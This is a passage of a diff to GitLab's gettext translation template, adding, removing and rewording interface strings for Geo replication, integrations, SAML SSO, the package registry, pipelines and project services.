+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
